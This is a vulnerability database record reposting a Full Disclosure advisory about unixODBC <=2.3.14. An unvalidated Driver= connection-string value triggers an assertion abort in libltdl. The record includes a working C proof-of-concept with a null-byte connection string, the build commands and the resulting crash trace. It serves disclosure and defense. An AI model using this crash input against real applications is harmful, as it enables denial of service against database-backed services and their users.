Search

Find a vulnerability

Search criteria

    1 vulnerability found for <=2.3.14 Input by Unixodbc

    GCVE-1988-2026-0557

    Vulnerability from gna-1988 – Published: 2026-11-13 01:56 – Updated: 2026-11-13 01:56
    VLAI
    Title
    unixODBC <=2.3.14 Input Validation Causes Downstream Assertion Failure
    Summary
    unixODBC versions <=2.3.14 do not validate the `Driver=` value of a connection string before passing it to its bundled dynamic-loading library (`libltdl`). When the derived library base name or file name is empty -- for example because the value contains an embedded null byte, has a trailing slash, or is empty -- an `assert()` is triggered, rather than returning an error, causing the entire process to abort. Impact An attacker who can influence the `Driver=` value of an Open Database Connectivity (ODBC) connection string -- whether through direct input, a connection-string injection vector, or a malicious Data Source Name (DSN) configuration file -- can reliably crash any application linked against unixODBC. This denial-of-service (DoS) condition only requires ability to supply a malformed connection string. Since the crash occurs via `abort()` following a failed assertion, graceful error handling or recovery is impossible -- the entire process is terminated unconditionally and immediately, bypassing all application-level exception handling, logging, and cleanup routines. In multi-tenant or connection-pooling environments, a single malicious connection string brings down the entire pooling service, denying database access to every concurrent user and leaving in-flight transactions and resources in an inconsistent state. As an aside, this is why `assert` has always been considered inappropriate for production code across all major coding standards and since it was first created, although unixODBC should be properly validating the input regardless. Examples Code review, and proven via testing, identified multiple distinct use cases, each of which triggers the assertion for the same reason -- the memory address evaluated by the assertion contains a `null` terminator. When a trailing slash is present, `base_name = strrchr (canonical, '/')` locates the final slash and the library increments the `base_name` pointer forward by one byte. Since a trailing slash means the next byte is the string's `null` terminator, the safety macro fails. Alternatively, if the string is completely empty or begins with a `null` byte, `strrchr` returns `NULL` and the fallback assignment `MEMREASSIGN (base_name, canonical)` sets `base_name` to an empty string, similarly failing the `assert (base_name && *base_name)` check and crashing the runtime. ```c /* Try to open FILENAME as a module. */ static int try_dlopen (lt_dlhandle *phandle, const char *filename, const char *ext, lt_dladvise advise) { const char * saved_error = 0; char * archive_name = 0; char * canonical = 0; char * base_name = 0; char * dir = 0; char * name = 0; char * attempt = 0; int errors = 0; lt_dlhandle newhandle; assert (phandle); assert (*phandle == 0); #ifdef LT_DEBUG_LOADERS fprintf (stderr, "try_dlopen (%s, %s)\n", filename ? filename : "(null)", ext ? ext : "(null)"); #endif LT__GETERROR (saved_error); /* dlopen self? */ if (!filename) { *phandle = (lt_dlhandle) lt__zalloc (sizeof (struct lt__handle)); if (*phandle == 0) return 1; newhandle = *phandle; /* lt_dlclose()ing yourself is very bad! Disallow it. */ newhandle->info.is_resident = 1; if (tryall_dlopen (&newhandle, 0, advise, 0) != 0) { FREE (*phandle); return 1; } goto register_handle; } assert (filename && *filename); if (ext) { attempt = MALLOC (char, LT_STRLEN (filename) + LT_STRLEN (ext) + 1); if (!attempt) return 1; sprintf(attempt, "%s%s", filename, ext); } else { attempt = lt__strdup (filename); if (!attempt) return 1; } /* Doing this immediately allows internal functions to safely assume only canonicalized paths are passed. */ if (canonicalize_path (attempt, &canonical) != 0) { ++errors; goto cleanup; } /* If the canonical module name is a path (relative or absolute) then split it into a directory part and a name part. */ base_name = strrchr (canonical, '/'); if (base_name) { size_t dirlen = (1+ base_name) - canonical; dir = MALLOC (char, 1+ dirlen); if (!dir) { ++errors; goto cleanup; } strlcpy (dir, canonical, dirlen); dir[dirlen] = LT_EOS_CHAR; ++base_name; } else MEMREASSIGN (base_name, canonical); assert (base_name && *base_name); ``` Code snippet from `libltdl`'s libltdl/ltdl.c, lines 1157-1251 ```c static void *odbc_dlopen( char *libname, char **err ) { void *hand; struct lib_count *list; mutex_lib_entry(); /* * have we already got it ? */ list = lib_list; while( list ) { if ( strcmp( list -> lib_name, libname ) == 0 ) { break; } list = list -> next; } if ( list ) { list -> count ++; hand = list -> handle; } else { hand = lt_dlopen( libname ); ``` Code from `unixODBC`'s DriverManager/SQLConnect.c, lines 811-840 ```bash cat > /tmp/repro_browse.c << 'EOF' #include <sql.h> #include <sqlext.h> #include <string.h> int main(void) { SQLHENV hEnv; SQLHDBC hDbc; SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &hEnv); SQLSetEnvAttr(hEnv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0); SQLAllocHandle(SQL_HANDLE_DBC, hEnv, &hDbc); /* Connection string with null bytes embedded in the Driver value */ char connStr[] = "Driver={/\x00\x00\x00\x00\x00\x00\x00\x00" "opt/amazon/redshifto" "Amazon Redshift ODBC }\x00\x00\x00\x00" "x64)};Server=host;Port=5439;" "UID=u;PWD=p;LoginTimeout=5;"; SQLCHAR outBuf[1024]; SQLSMALLINT outLen; /* This call aborts the process via libltdl's try_dlopen() assertion */ SQLDriverConnect(hDbc, NULL, (SQLCHAR *)connStr, (SQLSMALLINT)(sizeof(connStr) - 1), outBuf, sizeof(outBuf), &outLen, SQL_DRIVER_NOPROMPT); SQLFreeHandle(SQL_HANDLE_DBC, hDbc); SQLFreeHandle(SQL_HANDLE_ENV, hEnv); return 0; } EOF gcc -g -O0 -o /tmp/repro_browse /tmp/repro_browse.c -lodbc valgrind --tool=memcheck --track-origins=yes /tmp/repro_browse ``` Code to elicit the crash ```text repro_browse: ltdl.c:1251: try_dlopen: Assertion `base_name && *base_name' failed. ==1242142== ==1242142== Process terminating with default action of signal 6 (SIGABRT): dumping core ==1242142== at 0x498C02C: __pthread_kill_implementation (in /usr/lib64/libc.so.6) ==1242142== by 0x493EB85: raise (in /usr/lib64/libc.so.6) ==1242142== by 0x4928872: abort (in /usr/lib64/libc.so.6) ==1242142== by 0x492879A: __assert_fail_base.cold (in /usr/lib64/libc.so.6) ==1242142== by 0x49378C5: __assert_fail (in /usr/lib64/libc.so.6) ==1242142== by 0x48D0845: try_dlopen (ltdl.c:1251) ==1242142== by 0x48D15DA: lt_dlopenadvise (ltdl.c:1671) ==1242142== by 0x48D14C4: lt_dlopen (ltdl.c:1626) ==1242142== by 0x486B76A: odbc_dlopen (SQLConnect.c:842) ==1242142== by 0x486C048: __connect_part_one (SQLConnect.c:1182) ==1242142== by 0x4877DCF: SQLDriverConnect (SQLDriverConnect.c:1410) ==1242142== by 0x4012C3: main (repro_browse.c:21) ==1242142== ==1242142== HEAP SUMMARY: ==1242142== in use at exit: 73,962 bytes in 26 blocks ==1242142== total heap usage: 188 allocs, 162 frees, 181,146 bytes allocated ==1242142== ==1242142== LEAK SUMMARY: ==1242142== definitely lost: 0 bytes in 0 blocks ==1242142== indirectly lost: 0 bytes in 0 blocks ==1242142== possibly lost: 0 bytes in 0 blocks ==1242142== still reachable: 73,962 bytes in 26 blocks ==1242142== suppressed: 0 bytes in 0 blocks ==1242142== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) ``` Output from Valgrind, reproduced independently under AddressSanitizer _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    VULNARCHIVE GNA GNA-1988
    GNA scorecard E 38/100 over 581 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Unixodbc <=2.3.14 Input Affected: unknown
    Create a notification for this product.

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "\u003c=2.3.14 Input",
              "vendor": "Unixodbc",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Daniel Owens via Fulldisclosure"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "unixODBC versions \u003c=2.3.14 do not validate the `Driver=` value of a connection string before passing it to its bundled \ndynamic-loading library (`libltdl`).  When the derived library base name or file name is empty -- for example because \nthe value contains an embedded null byte, has a trailing slash, or is empty -- an `assert()` is triggered, rather than \nreturning an error, causing the entire process to abort.\n\nImpact\nAn attacker who can influence the `Driver=` value of an Open Database Connectivity (ODBC) connection string -- whether \nthrough direct input, a connection-string injection vector, or a malicious Data Source Name (DSN) configuration file -- \ncan reliably crash any application linked against unixODBC.  This denial-of-service (DoS) condition only requires \nability to supply a malformed connection string.  Since the crash occurs via `abort()` following a failed assertion, \ngraceful error handling or recovery is impossible -- the entire process is terminated unconditionally and immediately, \nbypassing all application-level exception handling, logging, and cleanup routines.  In multi-tenant or \nconnection-pooling environments, a single malicious connection string brings down the entire pooling service, denying \ndatabase access to every concurrent user and leaving in-flight transactions and resources in an inconsistent state.\n\nAs an aside, this is why `assert` has always been considered inappropriate for production code across all major coding \nstandards and since it was first created, although unixODBC should be properly validating the input regardless.\n\nExamples\nCode review, and proven via testing, identified multiple distinct use cases, each of which triggers the assertion for \nthe same reason -- the memory address evaluated by the assertion contains a `null` terminator.  When a trailing slash \nis present, `base_name = strrchr (canonical, \u0027/\u0027)` locates the final slash and the library increments the `base_name` \npointer forward by one byte.  Since a trailing slash means the next byte is the string\u0027s `null` terminator, the safety \nmacro fails.  Alternatively, if the string is completely empty or begins with a `null` byte, `strrchr` returns `NULL` \nand the fallback assignment `MEMREASSIGN (base_name, canonical)` sets `base_name` to an empty string, similarly failing \nthe `assert (base_name \u0026\u0026 *base_name)` check and crashing the runtime.\n\n```c\n/* Try to open FILENAME as a module. */\nstatic int\ntry_dlopen (lt_dlhandle *phandle, const char *filename, const char *ext,\n                    lt_dladvise advise)\n{\n  const char *    saved_error       = 0;\n  char * archive_name = 0;\n  char * canonical           = 0;\n  char * base_name       = 0;\n  char * dir                          = 0;\n  char * name                    = 0;\n  char *        attempt                        = 0;\n  int                        errors                   = 0;\n  lt_dlhandle      newhandle;\n\n  assert (phandle);\n  assert (*phandle == 0);\n\n#ifdef LT_DEBUG_LOADERS\n  fprintf (stderr, \"try_dlopen (%s, %s)\\n\",\n                   filename ? filename : \"(null)\",\n                   ext ? ext : \"(null)\");\n#endif\n\n  LT__GETERROR (saved_error);\n\n  /* dlopen self? */\n  if (!filename)\n    {\n      *phandle = (lt_dlhandle) lt__zalloc (sizeof (struct lt__handle));\n      if (*phandle == 0)\n                return 1;\n\n      newhandle  = *phandle;\n\n      /* lt_dlclose()ing yourself is very bad!  Disallow it.  */\n      newhandle-\u003einfo.is_resident = 1;\n\n      if (tryall_dlopen (\u0026newhandle, 0, advise, 0) != 0)\n                {\n                  FREE (*phandle);\n                  return 1;\n                }\n\n      goto register_handle;\n    }\n\n  assert (filename \u0026\u0026 *filename);\n\n  if (ext)\n    {\n      attempt = MALLOC (char, LT_STRLEN (filename) + LT_STRLEN (ext) + 1);\n      if (!attempt)\n                return 1;\n\n      sprintf(attempt, \"%s%s\", filename, ext);\n    }\n  else\n    {\n      attempt = lt__strdup (filename);\n      if (!attempt)\n                return 1;\n    }\n\n  /* Doing this immediately allows internal functions to safely\n     assume only canonicalized paths are passed.  */\n  if (canonicalize_path (attempt, \u0026canonical) != 0)\n    {\n      ++errors;\n      goto cleanup;\n    }\n\n  /* If the canonical module name is a path (relative or absolute)\n     then split it into a directory part and a name part.  */\n  base_name = strrchr (canonical, \u0027/\u0027);\n  if (base_name)\n    {\n      size_t dirlen = (1+ base_name) - canonical;\n\n      dir = MALLOC (char, 1+ dirlen);\n      if (!dir)\n                {\n                  ++errors;\n                  goto cleanup;\n                }\n\n      strlcpy (dir, canonical, dirlen);\n      dir[dirlen] = LT_EOS_CHAR;\n\n      ++base_name;\n    }\n  else\n    MEMREASSIGN (base_name, canonical);\n\n  assert (base_name \u0026\u0026 *base_name);\n```\nCode snippet from `libltdl`\u0027s libltdl/ltdl.c, lines 1157-1251\n\n```c\nstatic void *odbc_dlopen( char *libname, char **err )\n{\n    void *hand;\n    struct lib_count *list;\n\n    mutex_lib_entry();\n\n    /*\n     * have we already got it ?\n     */\n\n    list = lib_list;\n    while( list )\n    {\n        if ( strcmp( list -\u003e lib_name, libname ) == 0 )\n        {\n            break;\n        }\n\n        list = list -\u003e next;\n    }\n\n    if ( list )\n    {\n        list -\u003e count ++;\n        hand = list -\u003e handle;\n    }\n    else\n    {\n        hand = lt_dlopen( libname );\n```\nCode from `unixODBC`\u0027s DriverManager/SQLConnect.c, lines 811-840\n\n```bash\ncat \u003e /tmp/repro_browse.c \u003c\u003c \u0027EOF\u0027\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cstring.h\u003e\n\nint main(void) {\n    SQLHENV hEnv;\n    SQLHDBC hDbc;\n    SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026hEnv);\n    SQLSetEnvAttr(hEnv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);\n    SQLAllocHandle(SQL_HANDLE_DBC, hEnv, \u0026hDbc);\n\n    /* Connection string with null bytes embedded in the Driver value */\n    char connStr[] = \"Driver={/\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n                     \"opt/amazon/redshifto\"\n                     \"Amazon Redshift ODBC }\\x00\\x00\\x00\\x00\"\n                     \"x64)};Server=host;Port=5439;\"\n                     \"UID=u;PWD=p;LoginTimeout=5;\";\n    SQLCHAR outBuf[1024];\n    SQLSMALLINT outLen;\n\n    /* This call aborts the process via libltdl\u0027s try_dlopen() assertion */\n    SQLDriverConnect(hDbc, NULL,\n                     (SQLCHAR *)connStr, (SQLSMALLINT)(sizeof(connStr) - 1),\n                     outBuf, sizeof(outBuf), \u0026outLen,\n                     SQL_DRIVER_NOPROMPT);\n\n    SQLFreeHandle(SQL_HANDLE_DBC, hDbc);\n    SQLFreeHandle(SQL_HANDLE_ENV, hEnv);\n    return 0;\n}\nEOF\ngcc -g -O0 -o /tmp/repro_browse /tmp/repro_browse.c -lodbc\nvalgrind --tool=memcheck --track-origins=yes /tmp/repro_browse\n```\nCode to elicit the crash\n\n```text\nrepro_browse: ltdl.c:1251: try_dlopen: Assertion `base_name \u0026\u0026 *base_name\u0027 failed.\n==1242142==\n==1242142== Process terminating with default action of signal 6 (SIGABRT): dumping core\n==1242142==    at 0x498C02C: __pthread_kill_implementation (in /usr/lib64/libc.so.6)\n==1242142==    by 0x493EB85: raise (in /usr/lib64/libc.so.6)\n==1242142==    by 0x4928872: abort (in /usr/lib64/libc.so.6)\n==1242142==    by 0x492879A: __assert_fail_base.cold (in /usr/lib64/libc.so.6)\n==1242142==    by 0x49378C5: __assert_fail (in /usr/lib64/libc.so.6)\n==1242142==    by 0x48D0845: try_dlopen (ltdl.c:1251)\n==1242142==    by 0x48D15DA: lt_dlopenadvise (ltdl.c:1671)\n==1242142==    by 0x48D14C4: lt_dlopen (ltdl.c:1626)\n==1242142==    by 0x486B76A: odbc_dlopen (SQLConnect.c:842)\n==1242142==    by 0x486C048: __connect_part_one (SQLConnect.c:1182)\n==1242142==    by 0x4877DCF: SQLDriverConnect (SQLDriverConnect.c:1410)\n==1242142==    by 0x4012C3: main (repro_browse.c:21)\n==1242142==\n==1242142== HEAP SUMMARY:\n==1242142==     in use at exit: 73,962 bytes in 26 blocks\n==1242142==   total heap usage: 188 allocs, 162 frees, 181,146 bytes allocated\n==1242142==\n==1242142== LEAK SUMMARY:\n==1242142==    definitely lost: 0 bytes in 0 blocks\n==1242142==    indirectly lost: 0 bytes in 0 blocks\n==1242142==      possibly lost: 0 bytes in 0 blocks\n==1242142==    still reachable: 73,962 bytes in 26 blocks\n==1242142==         suppressed: 0 bytes in 0 blocks\n==1242142== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)\n```\nOutput from Valgrind, reproduced independently under AddressSanitizer\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-13T01:56:53Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/20"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Nov/20"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Nov/20"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "unixODBC \u003c=2.3.14 Input Validation Causes Downstream Assertion Failure",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2026-0557",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/20",
                "automated": true,
                "contentSha256": "7ba79fdd87d8f6fd4042f7ca12a25c720e41f2895cb817415e9b2bb1e91dee49",
                "evidenceScore": 7,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/20",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-11-09T22:33:05Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-11-13T01:56:53Z",
        "dateUpdated": "2026-11-13T01:56:53Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0557"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }